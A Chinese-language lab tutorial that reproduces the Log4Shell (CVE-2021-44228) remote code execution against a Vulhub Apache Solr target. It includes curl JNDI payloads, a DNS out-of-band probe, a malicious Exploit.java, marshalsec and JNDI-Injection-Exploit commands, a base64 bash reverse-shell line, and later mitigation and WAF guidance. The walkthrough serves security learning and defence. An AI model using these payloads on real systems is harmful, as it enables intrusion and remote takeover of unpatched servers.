
1. 项目概述与核心价值Log4j2的CVE-2021-44228漏洞也就是大家常说的“Log4Shell”绝对是近年来安全圈里最“出圈”的漏洞之一。它之所以能引起如此大的震动不仅仅是因为它影响范围极广几乎波及了所有使用Java生态的互联网服务更在于其利用方式的“简单粗暴”和危害的“深远持久”。作为一个在安全一线摸爬滚打多年的从业者我见过太多因为一个看似不起眼的日志记录功能导致整个内网被“打穿”的案例。今天我们就借助Vulhub这个极佳的漏洞复现环境来亲手“引爆”一次Log4Shell目的不是为了搞破坏而是为了真正理解它的原理、掌握它的利用方式从而在未来的工作中能更敏锐地发现和防御这类风险。Vulhub为我们提供了一个开箱即用的、基于Apache Solr的漏洞靶场。Solr是一个广泛使用的企业级搜索平台它恰好使用了存在漏洞版本的Log4j2库。这个环境完美地模拟了一个真实的应用场景一个看似功能正常、对外提供服务的Web应用内部却埋藏着一个可以通过日志输入触发的“核弹”。通过复现你将清晰地看到攻击者是如何通过一个精心构造的、看似无害的HTTP请求参数最终在服务器上执行任意命令的。这个过程对于安全研究人员来说是学习漏洞原理的绝佳教材对于开发人员是理解安全编码重要性的生动一课对于运维和防御人员则是构建有效检测规则和应急响应预案的实战演练。2. 环境搭建与靶场启动2.1 Vulhub环境准备Vulhub的便利性在于其基于Docker Compose的一键部署。首先你需要一个已经安装好Docker和Docker Compose的Linux环境我个人习惯使用Ubuntu 20.04/22.04 LTS。如果你还没有安装可以参照以下命令快速搭建基础环境# 更新系统包列表 sudo apt-get update # 安装Docker依赖 sudo apt-get install -y apt-transport-https ca-certificates curl software-properties-common # 添加Docker官方GPG密钥 curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg # 添加Docker仓库 echo deb [arch$(dpkg --print-architecture) signed-by/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable | sudo tee /etc/apt/sources.list.d/docker.list /dev/null # 安装Docker引擎 sudo apt-get update sudo apt-get install -y docker-ce docker-ce-cli containerd.io # 安装Docker Compose (以v2为例可从GitHub release页面获取最新版) sudo curl -L https://github.com/docker/compose/releases/download/v2.24.5/docker-compose-$(uname -s)-$(uname -m) -o /usr/local/bin/docker-compose sudo chmod x /usr/local/bin/docker-compose安装完成后克隆Vulhub仓库到本地。我建议选择一个磁盘空间充足的目录因为后续会拉取多个镜像。git clone https://github.com/vulhub/vulhub.git cd vulhub进入Log4j漏洞对应的目录cd log4j/CVE-2021-44228注意在运行任何Docker命令前请确保当前用户拥有执行Docker的权限。通常需要将用户加入docker用户组sudo usermod -aG docker $USER然后重新登录当前会话使之生效。否则你可能需要频繁使用sudo但这会带来一些文件权限上的小麻烦。2.2 启动漏洞靶场在目标目录下你会看到一个docker-compose.yml文件。这个文件定义了整个服务栈包括一个运行着Apache Solr 8.11.0内含Log4j 2.14.1的容器。启动服务非常简单docker-compose up -d这个-d参数代表“detached”即让服务在后台运行。执行后Docker会从网络拉取必要的镜像并启动容器。第一次运行可能会花费几分钟时间下载镜像请耐心等待。启动成功后使用以下命令确认容器状态docker-compose ps你应该能看到一个名为cve-2021-44228_solr_1的容器状态为Up。同时该命令会显示端口映射情况通常是8983/tcp - 0.0.0.0:8983。这意味着宿主机的8983端口已经映射到了容器内Solr服务的8983端口。现在打开你的浏览器访问http://你的宿主机IP:8983。如果一切顺利你将看到Apache Solr的管理后台界面。这表明漏洞环境已经成功搭建并运行起来了。实操心得有时候启动后访问页面失败可能是端口冲突。你可以检查8983端口是否被占用sudo lsof -i:8983。如果被占用可以修改docker-compose.yml文件中的端口映射例如将8983:8983改为8984:8983然后重启服务docker-compose down再docker-compose up -d。另外如果是在云服务器上搭建请务必在安全组或防火墙中放行对应的端口如8983。3. 漏洞原理深度解析要利用一个漏洞首先要吃透它的原理。Log4Shell的本质是在日志记录过程中对未经校验的用户输入执行了递归解析并最终触发了不安全的JNDIJava Naming and Directory Interface查找。我们来把这个过程拆解一下。第一步日志记录与Lookup机制Log4j2有一个强大的功能叫“Lookup”它允许在日志输出中动态插入一些上下文信息格式是${prefix:name}。例如${java:runtime}可以插入Java运行时信息${env:USER}可以插入环境变量。这本是为了方便日志定制化。第二步恶意输入的注入攻击者发现如果应用程序将用户可控的数据如HTTP请求头、URL参数、表单数据记录到了日志中那么他就可以在这些数据中嵌入Lookup表达式。最致命的一个Lookup是jndi它允许通过JNDI接口从指定的资源如LDAP、RMI服务加载对象。第三步递归解析与JNDI触发Log4j2在记录日志时会对日志消息中的${}进行递归解析。当它解析到${jndi:ldap://attacker.com/evil}时它不会将其当作普通字符串而是会真的去执行一个JNDI查找尝试连接attacker.com这个攻击者控制的LDAP服务器。第四步远程代码加载与执行攻击者控制的LDAP服务器可以返回一个恶意的“引用”Reference这个引用指向另一个HTTP服务器上的一个包含恶意Java类的JAR文件。受害服务器的JNDI客户端会去下载这个JAR并实例化其中的类。如果这个类的构造函数或静态代码块中包含了恶意代码如Runtime.getRuntime().exec(calc)那么这段代码就会在受害服务器上以当前Java进程的权限执行。为什么影响如此巨大触发条件极其简单任何记录日志的地方都可能成为入口。User-Agent、Referer、X-Forwarded-For等HTTP头搜索框、登录用户名等参数只要被日志框架记录就可能被利用。默认配置即存在风险在受影响版本中Lookup功能特别是JNDI Lookup默认是开启的。Java生态的广泛性Log4j是Java世界事实上的标准日志框架从大型互联网公司到各种中间件Solr, Kafka, Flink等、开发框架无所不在。在我们的Vulhub靶场中Apache Solr的管理接口/solr/admin/cores的action参数值会被记录到日志中。这就为我们提供了一个完美的、可控制的注入点。4. 漏洞复现实操步骤理解了原理我们开始动手。复现分为两个阶段首先是“探测”证明漏洞存在然后是“利用”真正执行命令。4.1 第一阶段DNS外带探测在真正执行命令之前我们需要先确认目标是否存在漏洞并且我们的Payload能够被成功解析和执行。最安全、最隐蔽的方式就是触发一次DNS查询将数据外带出来。我们需要一个能接收DNS查询日志的平台。这里我推荐使用interact.sh或dnslog.cn这类公开的DNSLog服务。以dnslog.cn为例访问http://dnslog.cn。点击“Get SubDomain”你会获得一个唯一的子域名例如abc123.dnslog.cn。记住这个域名我们将在Payload中使用它。构造一个包含JNDI Lookup的Payload让它去查询一个包含服务器信息的子域名。经典的Payload格式是${jndi:ldap://${sys:java.version}.你的子域名}。这里${sys:java.version}是一个系统属性Lookup它会返回当前Java版本。例如你的子域名是abc123.dnslog.cnJava版本是1.8.0_181那么最终的LDAP地址就是ldap://1.8.0_181.abc123.dnslog.cn。虽然这是一个LDAP协议头但在漏洞触发初期为了发起JNDI查询受害者服务器会先解析这个主机名从而产生一次DNS查询记录到1.8.0_181.abc123.dnslog.cn。我们使用curl命令或者Burp Suite来发送攻击请求。用curl示例如下curl -v http://靶机IP:8983/solr/admin/cores?action\${jndi:ldap://\${sys:java.version}.abc123.dnslog.cn}关键细节在命令行中$符号是特殊字符所以我们需要用反斜杠\进行转义即写成\${jndi:...}。如果你在Burp Suite的Repeater模块中直接粘贴则不需要转义。发送请求后迅速回到dnslog.cn页面点击 “Refresh Record”。如果看到一条关于1.8.0_181.abc123.dnslog.cn或类似的DNS查询记录那么恭喜你漏洞存在这证明了Solr确实将action参数记录到了日志。Log4j2解析了我们的Payload。服务器尝试进行了JNDI查找第一步DNS解析。4.2 第二阶段构造JNDI注入实现命令执行DNS外带成功只证明了漏洞存在要真正利用它执行命令还需要一个恶意的JNDI服务来响应客户端的查询并提供一个恶意的Java类。这里我们使用一个非常流行的工具JNDI-Injection-Exploit。首先准备攻击机环境。你需要一台能与靶机网络互通的机器可以是同一台宿主机也可以是同一内网的另一台机器并安装Java 8环境。其次下载并运行JNDI利用工具。从GitHub克隆项目并运行git clone https://github.com/welk1n/JNDI-Injection-Exploit.git cd JNDI-Injection-Exploit # 编译项目 mvn clean package -DskipTests # 进入target目录 cd target/ # 启动工具指定攻击机IP和要执行的命令 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/success_vulhub -A 你的攻击机IP执行命令后工具会同时启动一个RMI服务和LDAP服务并打印出可用的Payload URL例如[] LDAP Server Start Listening on 1389... [] RMI Server Start Listening on 1099... [] HTTP Server Start Listening on 8080... [] Payload: rmi://攻击机IP:1099/xxxxxx [] Payload: ldap://攻击机IP:1389/xxxxxx复制其中一个Payload比如ldap://攻击机IP:1389/xxxxxx。最后向靶机发送包含恶意Payload的请求。再次使用curl或Burp Suite将之前的DNSLog域名替换成这个LDAP地址curl -v http://靶机IP:8983/solr/admin/cores?action\${jndi:ldap://攻击机IP:1389/xxxxxx}发送请求后观察JNDI-Injection-Exploit工具的终端你会看到它接收到了连接请求并发送了恶意Reference。如果一切顺利命令touch /tmp/success_vulhub就会在靶机容器内执行。验证命令是否执行成功进入靶机容器查看文件是否创建。# 进入容器 docker-compose exec solr bash # 查看/tmp目录 ls -la /tmp/你应该能看到一个名为success_vulhub的空文件。至此漏洞利用成功我们实现了远程命令执行。注意事项这里能成功执行命令还有一个关键前提靶机Java版本需低于 8u191, 7u201, 6u211 或 11.0.1。在这些版本之后Oracle增加了JNDI远程类加载的默认限制com.sun.jndi.rmi.object.trustURLCodebase和com.sun.jndi.cosnaming.object.trustURLCodebase默认为false。Vulhub靶场中的环境恰好是低版本JDK所以可以成功。如果遇到高版本JDK利用方式会复杂很多可能需要结合本地类路径中的可利用链如Tomcat EL Processor、Groovy等这就是另一个更深的话题了。5. 漏洞修复与防御方案深度剖析复现漏洞是为了更好地防御。针对Log4Shell修复和防御是一个多层次的工作。5.1 紧急缓解措施治标如果线上系统紧急爆发漏洞来不及升级可以采取以下“止血”方案修改JVM参数启动应用时添加-Dlog4j2.formatMsgNoLookupstrue。这个参数在Log4j 2.10及以上版本有效它会全局禁用消息Lookup。这是最快速有效的临时方案。移除漏洞类找到Log4j-core的jar包删除JndiLookup类。命令示例zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class。这个方法比较“暴力”但能从根本上阻止JNDI Lookup功能。环境变量限制设置LOG4J_FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS环境变量为true。这是另一种禁用Lookup的方式。WAF/防火墙规则在流量入口处部署规则拦截包含${jndi:、${ldap:、${rmi:等特征的请求。但要注意攻击者可能会使用各种绕过技巧如大小写、嵌套、编码等。5.2 根本解决方案治本升级Log4j2版本是唯一彻底的解决方案。升级到2.17.0(Java 8),2.12.3(Java 7), 或2.3.1(Java 6) 及以上版本。这些版本不仅修复了CVE-2021-44228还修复了后续发现的相关高危漏洞如CVE-2021-45046, CVE-2021-45105。强烈建议直接升级到当前最新的稳定版以包含所有安全补丁。可以通过Maven、Gradle或直接替换jar包的方式进行升级。5.3 长期防御体系建设软件成分分析SCA在CI/CD流程中集成SCA工具如OWASP Dependency-Check, Snyk, JFrog Xray自动扫描项目依赖及时发现并告警项目中使用的所有存在已知漏洞的组件包括Log4j这样的间接依赖。最小权限原则运行Java应用的系统账户应遵循最小权限原则避免使用root或高权限账户。这样即使被攻破攻击者能造成的破坏也有限。网络隔离与出口限制严格限制服务器对外发起网络连接的能力。通过防火墙策略只允许业务必要的出向连接如访问数据库、缓存、内部API。这样可以有效阻断JNDI攻击中服务器向外部恶意LDAP/RMI服务器发起的连接。使用高版本JDK将生产环境JDK升级到8u191、7u201、6u211或11.0.1以上的长期支持版本。高版本JDK默认禁用了远程从Codebase加载类能阻断大部分简单的JNDI注入利用。安全编码意识教育开发人员不要将任何未经处理的用户输入直接记录到日志中。对于必须记录的信息如用户ID、请求ID要进行适当的过滤和脱敏。6. 拓展手工搭建简易JNDI利用服务虽然使用现成工具很方便但了解其背后的机制能让你对漏洞有更深刻的认识。下面我们尝试用更“原始”的方法来搭建一个简易的恶意LDAP服务器。我们将使用marshalsec这个工具来快速启动一个恶意的LDAP引用服务器。首先需要编译它git clone https://github.com/mbechler/marshalsec.git cd marshalsec mvn clean package -DskipTests编译完成后在target目录下会生成marshalsec-0.0.3-SNAPSHOT-all.jar。第一步准备恶意类。创建一个简单的Java类编译成class文件。例如创建Exploit.javapublic class Exploit { static { try { Runtime.getRuntime().exec(new String[]{/bin/bash, -c, touch /tmp/handmade_exploit}); } catch (Exception e) { e.printStackTrace(); } } }使用目标环境兼容的JDK版本进行编译javac Exploit.java生成Exploit.class。第二步托管恶意类。我们需要一个HTTP服务器来提供这个class文件。在Exploit.class所在目录用Python快速起一个HTTP服务python3 -m http.server 8888确保攻击机的8888端口可以被靶机访问到。第三步启动恶意LDAP服务器。使用marshalsec启动一个LDAP服务它将把客户端的请求指向我们的HTTP服务。java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://攻击机IP:8888/#Exploit 1389这条命令的意思是在1389端口启动LDAP服务当有客户端查询时返回一个指向http://攻击机IP:8888/Exploit.class的Reference。第四步触发漏洞。和之前一样向靶机发送Payload其中LDAP地址指向我们刚启动的服务curl -v http://靶机IP:8983/solr/admin/cores?action\${jndi:ldap://攻击机IP:1389/Exploit}如果流程正确你将看到Python HTTP服务器收到了对/Exploit.class的请求并且靶机的/tmp目录下会生成handmade_exploit文件。通过这个手工过程你可以清晰地看到整个攻击链漏洞触发 → JNDI查询LDAP → LDAP返回HTTP地址 → 客户端下载并加载恶意类 → 静态代码块中的命令被执行。这比单纯使用自动化工具点一下按钮理解要深入得多。7. 常见问题与排查技巧实录在复现过程中你可能会遇到各种问题。下面是我总结的一些常见坑点和解决方法。问题1发送Payload后DNSLog平台没有收到记录。检查Payload格式确保${和}没有写错没有多余的空格。在Burp中注意URL编码问题有时需要手动编码{和}分别为%7B和%7D。检查网络连通性确保靶机Docker容器能访问外网能够解析DNS。可以进入容器执行ping dnslog.cn或nslookup dnslog.cn测试。检查日志级别Log4j默认可能不会记录某些级别的日志如DEBUG。但Solr的管理接口访问日志通常是会记录的。可以尝试换用其他可能被记录的参数或请求头如User-Agent、X-Forwarded-For。查看容器日志运行docker-compose logs solr查看应用日志看是否有错误信息或者是否能看到我们注入的Payload被打印出来可能被截断。问题2JNDI-Injection-Exploit工具显示收到连接但命令没有执行。检查Java版本这是最常见的原因。进入靶机容器运行java -version。如果版本高于8u191等限制版本简单的远程类加载利用会失败。Vulhub环境通常是低版本但如果你自己调整过可能会遇到此问题。检查命令路径touch命令在大多数Linux容器中可用。如果你执行的是其他命令确保该命令在容器内存在且路径正确。建议先用绝对路径/bin/touch。检查防火墙/安全组确保攻击机的LDAP1389、RMI1099、HTTP8080端口对靶机是开放的。如果是在云服务器上别忘了配置安全组入站规则。查看工具输出仔细阅读JNDI-Injection-Exploit的输出看是否有报错比如“Reference contains no ObjectFactory classname”等这可能是工具与目标JDK版本兼容性问题。问题3使用手工搭建的LDAP服务时靶机不下载恶意类。检查HTTP服务确保Python HTTP服务器8888端口正常运行且能通过http://攻击机IP:8888/Exploit.class直接访问到class文件。检查LDAP服务返回在启动marshalsec的终端观察当收到连接时是否输出了正确的转发信息。有时需要指定更完整的URL如http://攻击机IP:8888/Exploit.class。检查靶机网络确保靶机容器能访问到攻击机的1389LDAP和8888HTTP端口。可以在容器内用telnet 攻击机IP 1389和telnet 攻击机IP 8888测试连通性。问题4漏洞复现成功但想尝试其他利用方式如反弹Shell失败。命令中的特殊字符反弹Shell命令如bash -i /dev/tcp/...包含重定向符在Java中直接执行可能会被解析错误。有几种解决方法编码将整个命令进行Base64编码然后使用bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ}|{base64,-d}|{bash,-i}这种形式执行。使用脚本将命令写入一个脚本文件然后执行该脚本。使用工具内置功能JNDI-Injection-Exploit工具支持-C参数直接执行命令它对命令处理得更好。对于复杂命令可以先用工具生成Payload试试。权限问题容器内可能权限受限或者bash不可用。尝试使用/bin/sh。执行whoami和id命令查看当前权限。一个实用的排查流程当攻击不成功时遵循“由近及远”的原则看靶机日志(docker-compose logs solr)有没有错误有没有收到请求看攻击机工具日志LDAP/RMI服务有没有收到连接收到了什么样的请求看中间服务日志DNSLog有没有记录HTTP服务器有没有收到下载请求网络测试在容器内用curl或wget尝试直接访问攻击机HTTP服务看能否下载文件。简化测试先尝试执行最简单的touch /tmp/test命令确保基础利用链是通的再尝试复杂的命令。记住漏洞复现环境是可控的大胆尝试、仔细观察日志、逐步排查每一个错误信息都是通往理解的阶梯。这个过程本身就是对你排查问题能力最好的训练。